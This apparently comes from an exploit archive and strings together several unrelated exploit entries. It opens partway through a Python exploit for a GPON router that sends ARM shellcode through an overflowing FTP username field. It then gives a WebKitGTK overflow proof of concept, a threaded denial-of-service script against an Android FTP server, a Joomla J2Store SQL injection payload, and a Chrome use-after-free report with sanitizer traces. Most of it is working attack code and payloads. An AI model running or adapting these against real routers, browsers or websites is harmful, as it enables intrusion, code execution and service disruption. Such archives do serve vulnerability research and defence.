# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://192.168.1.1/device.html
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 55
# Connection: close
# Upgrade-Insecure-Requests: 1
#
# XWebPageName=device&admin_action=usb_enable&usbenable=1
headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate',
'Referer':'http://192.168.1.1/device.html', 'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close', 'Upgrade-Insecure-Requests':'1', 'Cookie':'hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678'}
payload = {'XWebPageName':'device', 'admin_action':'usb_enable', 'usbenable':1}
try:
requests.post(urllib.parse.urljoin(target, '/GponForm/device_Form?script/'), data=payload, verify=False, headers=headers, timeout=2)
except:
pass
# Step 2. Actual Exploitation
#
# POST /GponForm/usb_Form?script/ HTTP/1.1
# Host: 192.168.1.1
# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://192.168.1.1/usb.html
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 639
# Connection: close
# Upgrade-Insecure-Requests: 1
# XWebPageName=usb&ftpenable=0&url=ftp%3A%2F%2F&urlbody=&mode=ftp_anonymous&webdir=&port=21&clientusername=BBBBEBBBBDDDDBBBBBCCCCBBBBAAAABBBBAABBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAABBBBBBEEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&clientpassword=&ftpdir=&ftpdirname=undefined&clientaction=download&iptv_wan=2&mvlan=-1
# Weaponizing request:
# mov r8, r8 ; NOP for ARM Thumb
nop = "\xc0\x46"
# .section .text
# .global _start
#
# _start:
# .code 32
# add r3, pc, #1
# bx r3
#
# ; We've removed prev commands as processor is already in Thumb mode
#
# .code 16
# add r0, pc, #8
# eor r1, r1, r1
# eor r2, r2, r2
# strb r2, [r0, #10] ; Changing last char of command to \x00 in runtime
# mov r7, #11
# svc #1
# .ascii "/bin/tftpdX"
shellcode = "\x02\xa0\x49\x40\x52\x40\x82\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x74\x66\x74\x70\x64\x58"
# Overwritting only 3 bytes in order to get \x00 in 4th
pc = "\xe1\x8c\x03"
exploit = "A" + 197 * nop + shellcode + 26*"A" + pc
payload = {'XWebPageName':'usb', 'ftpenable':'0', 'url':'ftp%3A%2F%2F', 'urlbody':'', 'mode':'ftp_anonymous',
'webdir':'', 'port':21, 'clientusername':exploit, 'clientpassword':'', 'ftpdir':'',
'ftpdirname':'undefined', 'clientaction':'download', 'iptv_wan':'2', 'mvlan':'-1'}
headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate',
'Referer':'http://192.168.1.1/usb.html', 'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close', 'Upgrade-Insecure-Requests':'1',
'Cookie':'hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678'}
# Prevent requests from URL encoding
payload_str = "&".join("%s=%s" % (k,v) for k,v in payload.items())
try:
requests.post(urllib.parse.urljoin(target, '/GponForm/usb_Form?script/'), data=payload_str, headers=headers, verify=False, timeout=2)
except:
pass
print("The payload has been sent. Please check UDP 69 port of router for the tftpd service");
print("You can use something like: sudo nmap -sU -p 69 192.168.1.1");
def main():
""" Parse command line arguments and start exploit """
#
# Exploit should be executed after reboot. You can easily achive this in 3 ways:
# 1) Send some request to crash WebMgr (any DoS based on BoF). Router will be rebooted after that
# 2) Use CVE-2018-10561 to bypass authentication and trigger reboot from "device.html" page
# 3) Repeat this exploit at least twice ;)
# any of those will work!
#
parser = argparse.ArgumentParser(
add_help=False,
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="Examples: %(prog)s -t http://192.168.1.1/")
# Adds arguments to help menu
parser.add_argument("-h", action="help", help="Print this help message then exit")
parser.add_argument("-t", dest="target", required="yes", help="Target URL address like: https://localhost:443/")
# Assigns the arguments to various variables
args = parser.parse_args()
run(args.target)
#
# Main
#
if __name__ == "__main__":
main()
#Exploit Title: Buffer overflow
# Date: 27-02-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://webkit.org/
# Software Link: https://gitlab.gnome.org/GNOME/epiphany
# Version: 2.23.90
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-8375
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-8375
# https://www.inputzero.io/2019/02/fuzzing-webkit.html
## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).
## PoC:
<script>
var a = '';
for (var i = 1; i <= 5000; i++)
{
a += 'A';
}
alert(a);
</script>
#!/usr/bin/env python
#coding: utf-8
# ************************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * FTP Server 1.32 Remote Denial of Service (DoS) *
# ************************************************************************
# Exploit Title: FTP Server 1.32 Remote Denial of Service (DoS)
# Date: 2019-02-26
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor: The Olive Tree
# Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver
# Category: Mobile Apps
# Version: <= FTP Server 1.32
# Tested on: Android
import socket, random, string, signal, ssl, argparse, sys
from time import sleep
from threading import Thread, active_count
from os import system, geteuid
if geteuid() != 0:
print("\nPlease, run %s as root...\n" % sys.argv[0])
sys.exit()
stop = False
def signal_handler(signal, frame):
global stop
stop = True
def spam(target_ip, port):
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
try:
s.connect((target_ip, port))
except:
pass
if stop == True:
break
if __name__ == '__main__':
signal.signal(signal.SIGINT, signal_handler)
if len(sys.argv) != 3:
print "\nUsage: python " + sys.argv[0] + " <ip-address> <port>\n"
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
target_ip = socket.gethostbyname(target)
system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))
threads = []
payload = ''
for i in xrange(0,50):
t = Thread(target=spam, args=(target_ip, port,))
threads.append(t)
t.start()
while True:
if active_count() == 1 or stop == True:
system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))
print("")
break
# Exploit Title: J2Store Plugin for Joomla! < 3.3.6 - SQL Injection
# Date: 19/02/2019
# Author: Andrei Conache
# Twitter: @andrei_conache
# Contact: andrei.conache[at]protonmail.com
# Software Link: https://www.j2store.org
# Version: 3.x-3.3.6
# Tested on: Linux
# CVE: CVE-2019-9184
1. Description:
J2Store is the most popular shopping/e-commerce extension for Joomla!. The SQL Injection found allows any visitor to run arbitrary queries
on the website.
2. Proof of Concept:
- Parameter vulnerable: "product_option[j]" array (where j depends on entries)
- Example: [URL]/index.php?option=com_j2store&view=product&task=update&product_option[j]=%27%22%3E2&product_qty=1&product_id=XX&option=com_j2store&ajax=0&_=XXXXXXXXXX
- sqlmap: product_option[j]=%28CASE%20WHEN%20%284862%3D4862%29%20THEN%204862%20ELSE%204862%2A%28SELECT%204862%20FROM%20DUAL%20UNION%20SELECT%205348%20FROM%20DUAL%29%20END%29
3. Solution:
Update to 3.3.7
There's an object-lifetime issue in the browser process in the handling of P2PSocketDispatcherHost binding in parallel with OnBloatedRenderer event handling.
In RenderProcessHostImpl, we have a unique_ptr owning a P2PSocketDispatcherHost, which we bind to an interface using base::Unretained (in CreateMessageFilters).
However, in handling the OnRendererIsBloated event, we might reinitialise the RenderProcessHostImpl, without destroying it, causing the P2PSocketDispatcherHost to be immediately free'd without waiting for the IO threads to be joined, as would happen during destruction of the RenderProcessHostImpl. At this point we haven't necessarily stopped all handling of incoming Mojo messages, and it appears to be possible for messages from the existing queues to still be processed while the RenderProcessHostImpl is reinitialised.
This results in a use-after-free of the P2PSocketDispatcherHost object.
To reproduce you need a local build of chrome; run the attached script
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
$ python -m SimpleHTTPServer&
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/index.html'
=================================================================
==128425==ERROR: AddressSanitizer: heap-use-after-free on address 0x6100000b4948 at pc 0x55a27366e3b8 bp 0x7fffb36a7e10 sp 0x7fffb36a7e08
READ of size 4 at 0x6100000b4948 thread T0 (chrome)
#0 0x55a27366e3b7 in content::P2PSocketDispatcherHost::BindRequest(mojo::InterfaceRequest<network::mojom::P2PSocketManager>) content/browser/renderer_host/p2p/socket_dispatcher_host.cc:69:45
#1 0x55a2736da324 in Invoke<void (content::P2PSocketDispatcherHost::*)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), content::P2PSocketDispatcherHost *, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:516:12
#2 0x55a2736da324 in MakeItSo<void (content::P2PSocketDispatcherHost::*const &)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), content::P2PSocketDispatcherHost *, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:616
#3 0x55a2736da324 in RunImpl<void (content::P2PSocketDispatcherHost::*const &)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const std::__1::tuple<base::internal::UnretainedWrapper<content::P2PSocketDispatcherHost> > &, 0> base/bind_internal.h:689
#4 0x55a2736da324 in base::internal::Invoker<base::internal::BindState<void (content::P2PSocketDispatcherHost::*)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::internal::UnretainedWrapper<content::P2PSocketDispatcherHost> >, void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>::Run(base::internal::BindStateBase*, mojo::InterfaceRequest<network::mojom::P2PSocketManager>&&) base/bind_internal.h:671
#5 0x55a2736da9e6 in Run base/callback.h:129:12
#6 0x55a2736da9e6 in content::RenderProcessHostImpl::InterfaceGetter<base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> >::GetInterfaceOnUIThread(base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>) content/browser/renderer_host/render_process_host_impl.h:640
#7 0x55a2736db717 in Invoke<void (*const &)(base::WeakPtr<content::RenderProcessHostImpl>, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const base::WeakPtr<content::RenderProcessHostImpl> &, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:416:12
#8 0x55a2736db717 in MakeItSo<void (*const &)(base::WeakPtr<content::RenderProcessHostImpl>, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const base::WeakPtr<content::RenderProcessHostImpl> &, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:616
#9 0x55a2736db717 in RunImpl<void (*const &)(base::WeakPtr<content::RenderProcessHostImpl>, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const std::__1::tuple<base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> > &, 0, 1> base/bind_internal.h:689
#10 0x55a2736db717 in base::internal::Invoker<base::internal::BindState<void (*)(base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> >, void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>::Run(base::internal::BindStateBase*, mojo::InterfaceRequest<network::mojom::P2PSocketManager>&&) base/bind_internal.h:671
#11 0x55a2736db22d in Run base/callback.h:129:12
#12 0x55a2736db22d in service_manager::CallbackBinder<network::mojom::P2PSocketManager>::RunCallback(base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>) services/service_manager/public/cpp/interface_binder.h:69
#13 0x55a2736db436 in Invoke<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:416:12
#14 0x55a2736db436 in MakeItSo<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:616
#15 0x55a2736db436 in RunImpl<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), std::__1::tuple<base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> >, 0, 1> base/bind_internal.h:689
#16 0x55a2736db436 in base::internal::Invoker<base::internal::BindState<void (*)(base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> >, void ()>::RunOnce(base::internal::BindStateBase*) base/bind_internal.h:658
#17 0x55a278ad1171 in Run base/callback.h:99:12
#18 0x55a278ad1171 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
#19 0x55a278ace945 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
#20 0x55a278acfc09 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
#21 0x55a278acfc09 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
#22 0x55a278ad7107 in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_glib.cc:309:49
#23 0x55a278b469b1 in base::RunLoop::Run() base/run_loop.cc:102:14
#24 0x55a277df8c26 in ChromeBrowserMainParts::MainMessageLoopRun(int*) chrome/browser/chrome_browser_main.cc:1865:15
#25 0x55a272b85d7b in content::BrowserMainLoop::RunMainMessageLoopParts() content/browser/browser_main_loop.cc:999:29
#26 0x55a272b8d8c5 in content::BrowserMainRunnerImpl::Run() content/browser/browser_main_runner_impl.cc:165:15
#27 0x55a272b7cc06 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:47:28
#28 0x55a277c7d497 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:543:10
#29 0x55a277c7d497 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:941
#30 0x55a277c7c8f1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
#31 0x55a277d99fcb in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:472:29
#32 0x55a277c77c32 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10
#33 0x55a26f8cdd17 in ChromeMain chrome/app/chrome_main.cc:102:12
#34 0x7fbbe44dd2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
0x6100000b4948 is located 8 bytes inside of 184-byte region [0x6100000b4940,0x6100000b49f8)
freed by thread T0 (chrome) here:
#0 0x55a26f8cb852 in operator delete(void*) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:167:3
#1 0x55a27368390c in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
#2 0x55a27368390c in reset buildtools/third_party/libc++/trunk/include/memory:2638
#3 0x55a27368390c in operator= buildtools/third_party/libc++/trunk/include/memory:2504
#4 0x55a27368390c in content::RenderProcessHostImpl::CreateMessageFilters() content/browser/renderer_host/render_process_host_impl.cc:2017
#5 0x55a273681f15 in content::RenderProcessHostImpl::Init() content/browser/renderer_host/render_process_host_impl.cc:1786:3
#6 0x55a273134e4d in InitRenderView content/browser/frame_host/render_frame_host_manager.cc:1910:40
#7 0x55a273134e4d in content::RenderFrameHostManager::ReinitializeRenderFrame(content::RenderFrameHostImpl*) content/browser/frame_host/render_frame_host_manager.cc:2067
#8 0x55a2731335d7 in content::RenderFrameHostManager::GetFrameHostForNavigation(content::NavigationRequest const&) content/browser/frame_host/render_frame_host_manager.cc:636:10
#9 0x55a273132601 in content::RenderFrameHostManager::DidCreateNavigationRequest(content::NavigationRequest*) content/browser/frame_host/render_frame_host_manager.cc:478:35
#10 0x55a273009398 in content::FrameTreeNode::CreatedNavigationRequest(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >) content/browser/frame_host/frame_tree_node.cc:397:21
#11 0x55a273086af2 in content::NavigatorImpl::Navigate(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >, content::ReloadType, content::RestoreType) content/browser/frame_host/navigator_impl.cc:357:20
#12 0x55a273025541 in content::NavigationControllerImpl::NavigateToExistingPendingEntry(content::ReloadType) content/browser/frame_host/navigation_controller_impl.cc:2397:25
#13 0x55a2730244a3 in content::NavigationControllerImpl::Reload(content::ReloadType, bool) content/browser/frame_host/navigation_controller_impl.cc:601:5
#14 0x55a2807c96f4 in BloatedRendererTabHelper::OnRendererIsBloated(content::WebContents*, resource_coordinator::PageNavigationIdentity const&) chrome/browser/ui/bloated_renderer/bloated_renderer_tab_helper.cc:141:39
#15 0x55a278307351 in void resource_coordinator::PageSignalReceiver::NotifyObserversIfKnownCu<void (resource_coordinator::PageSignalObserver::*)(content::WebContents*, resource_coordinator::PageNavigationIdentity const&)>(resource_coordinator::PageNavigationIdentity const&, void (resource_coordinator::PageSignalObserver::*)(content::WebContents*, resource_coordinator::PageNavigationIdentity const&)) chrome/browser/resource_coordinator/page_signal_receiver.cc:142:5
#16 0x55a27d90b67b in resource_coordinator::mojom::PageSignalReceiverStubDispatch::Accept(resource_coordinator::mojom::PageSignalReceiver*, mojo::Message*) gen/services/resource_coordinator/public/mojom/page_signal.mojom.cc:412:13
#17 0x55a278de642e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
#18 0x55a278df85dd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
#19 0x55a278df6ce7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
#20 0x55a278de1f45 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
#21 0x55a278de3728 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
#22 0x55a278e34ca1 in Run base/callback.h:129:12
#23 0x55a278e34ca1 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
#24 0x55a278ad1171 in Run base/callback.h:99:12
#25 0x55a278ad1171 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
#26 0x55a278ace945 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
#27 0x55a278acfc09 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
#28 0x55a278acfc09 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
#29 0x55a278ad7a06 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
#30 0x55a278ad7a06 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
#31 0x7fbbe93dbfc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
previously allocated by thread T0 (chrome) here:
#0 0x55a26f8cac12 in operator new(unsigned long) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:106:3
#1 0x55a273683896 in make_unique<content::P2PSocketDispatcherHost, int> buildtools/third_party/libc++/trunk/include/memory:3118:28
#2 0x55a273683896 in content::RenderProcessHostImpl::CreateMessageFilters() content/browser/renderer_host/render_process_host_impl.cc:2018
#3 0x55a273681f15 in content::RenderProcessHostImpl::Init() content/browser/renderer_host/render_process_host_impl.cc:1786:3
#4 0x55a273134e4d in InitRenderView content/browser/frame_host/render_frame_host_manager.cc:1910:40
#5 0x55a273134e4d in content::RenderFrameHostManager::ReinitializeRenderFrame(content::RenderFrameHostImpl*) content/browser/frame_host/render_frame_host_manager.cc:2067
#6 0x55a2731335d7 in content::RenderFrameHostManager::GetFrameHostForNavigation(content::NavigationRequest const&) content/browser/frame_host/render_frame_host_manager.cc:636:10
#7 0x55a273132601 in content::RenderFrameHostManager::DidCreateNavigationRequest(content::NavigationRequest*) content/browser/frame_host/render_frame_host_manager.cc:478:35
#8 0x55a273009398 in content::FrameTreeNode::CreatedNavigationRequest(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >) content/browser/frame_host/frame_tree_node.cc:397:21
#9 0x55a273086af2 in content::NavigatorImpl::Navigate(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >, content::ReloadType, content::RestoreType) content/browser/frame_host/navigator_impl.cc:357:20
#10 0x55a273028f47 in content::NavigationControllerImpl::NavigateWithoutEntry(content::NavigationController::LoadURLParams const&) content/browser/frame_host/navigation_controller_impl.cc:2604:22
#11 0x55a273027e77 in content::NavigationControllerImpl::LoadURLWithParams(content::NavigationController::LoadURLParams const&) content/browser/frame_host/navigation_controller_impl.cc:876:3
#12 0x55a280a1eeeb in (anonymous namespace)::LoadURLInContents(content::WebContents*, GURL const&, NavigateParams*) chrome/browser/ui/browser_navigator.cc:346:36
#13 0x55a280a1c9fd in Navigate(NavigateParams*) chrome/browser/ui/browser_navigator.cc:616:9
#14 0x55a280ab5aee in StartupBrowserCreatorImpl::OpenTabsInBrowser(Browser*, bool, std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:474:5
#15 0x55a280ab87b2 in StartupBrowserCreatorImpl::RestoreOrCreateBrowser(std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&, StartupBrowserCreatorImpl::BrowserOpenBehavior, unsigned int, bool, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:762:13
#16 0x55a280ab4b3f in StartupBrowserCreatorImpl::DetermineURLsAndLaunch(bool, std::__1::vector<GURL, std::__1::allocator<GURL> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:639:22
#17 0x55a280ab388d in StartupBrowserCreatorImpl::Launch(Profile*, std::__1::vector<GURL, std::__1::allocator<GURL> > const&, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:369:5
#18 0x55a280aa9511 in StartupBrowserCreator::LaunchBrowser(base::CommandLine const&, Profile*, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun) chrome/browser/ui/startup/startup_browser_creator.cc:350:13
#19 0x55a280aafae0 in StartupBrowserCreator::ProcessLastOpenedProfiles(base::CommandLine const&, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:845:10
#20 0x55a280aaf23f in StartupBrowserCreator::LaunchBrowserForLastProfiles(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:774:10
#21 0x55a280aa8d4e in StartupBrowserCreator::ProcessCmdLineImpl(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:726:10
#22 0x55a280aa7c3b in StartupBrowserCreator::Start(base::CommandLine const&, base::FilePath const&, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:304:10
#23 0x55a277df644e in ChromeBrowserMainParts::PreMainMessageLoopRunImpl() chrome/browser/chrome_browser_main.cc:1749:25
#24 0x55a277df3987 in ChromeBrowserMainParts::PreMainMessageLoopRun() chrome/browser/chrome_browser_main.cc:1175:18
#25 0x55a272b85a46 in content::BrowserMainLoop::PreMainMessageLoopRun() content/browser/browser_main_loop.cc:983:13
#26 0x55a273a0ccb5 in Run base/callback.h:129:12
#27 0x55a273a0ccb5 in content::StartupTaskRunner::RunAllTasksNow() content/browser/startup_task_runner.cc:41
#28 0x55a272b82222 in content::BrowserMainLoop::CreateStartupTasks() content/browser/browser_main_loop.cc:917:25
#29 0x55a272b8cd24 in content::BrowserMainRunnerImpl::Initialize(content::MainFunctionParams const&) content/browser/browser_main_runner_impl.cc:144:15
#30 0x55a272b7cbc1 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:43:32
#31 0x55a277c7d497 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:543:10
#32 0x55a277c7d497 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:941
#33 0x55a277c7c8f1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
SUMMARY: AddressSanitizer: heap-use-after-free content/browser/renderer_host/p2p/socket_dispatcher_host.cc:69:45 in content::P2PSocketDispatcherHost::BindRequest(mojo::InterfaceRequest<network::mojom::P2PSocketManager>)
Shadow bytes around the buggy address:
0x0c208000e8d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c208000e8e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c208000e8f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c208000e900: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c208000e910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x0c208000e920: fa fa fa fa fa fa fa fa fd[fd]fd fd fd fd fd fd
0x0c208000e930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
